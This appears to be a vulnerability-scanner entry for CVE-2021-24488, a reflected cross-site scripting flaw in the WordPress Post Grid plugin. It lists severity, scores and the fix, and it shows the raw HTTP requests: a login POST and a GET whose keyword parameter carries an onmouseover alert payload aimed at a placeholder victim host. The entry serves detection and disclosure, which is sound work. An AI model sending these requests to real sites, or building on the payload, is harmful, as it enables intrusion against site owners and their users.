| Title | WordPress Post Grid <2.1.8 - Cross-Site Scripting |
|---|---|
| Author | cckuailong |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.11533 |
| CVE ID | CVE-2021-24488 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve authenticated wpscan xss wp wordpress wp-plugin pickplugins vuln |
WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=dikyY3&pwd=SLyY3j&wp-submit=Log+In&testcookie=1
GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24488.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24488.pcap
N/AN/A